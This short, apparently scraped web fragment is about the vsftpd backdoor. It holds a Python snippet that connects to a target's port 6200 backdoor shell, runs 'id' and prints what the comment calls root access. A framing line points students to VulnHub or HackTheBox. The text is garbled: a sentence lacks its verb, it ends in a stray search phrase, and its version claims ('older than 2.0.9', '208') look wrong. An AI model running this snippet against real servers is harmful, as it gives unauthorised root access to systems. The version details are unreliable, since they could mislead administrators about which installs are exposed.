If you are a server administrator, any vsftpd version older than 2.0.9. If you are a student, use the exploit on platforms like VulnHub or HackTheBox to understand the mechanics — but always ethically and legally.
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) backdoor_socket.connect((target_ip, 6200)) backdoor_socket.send(b"id\n") print(backdoor_socket.recv(1024)) # Shows root access vsftpd 208 exploit github link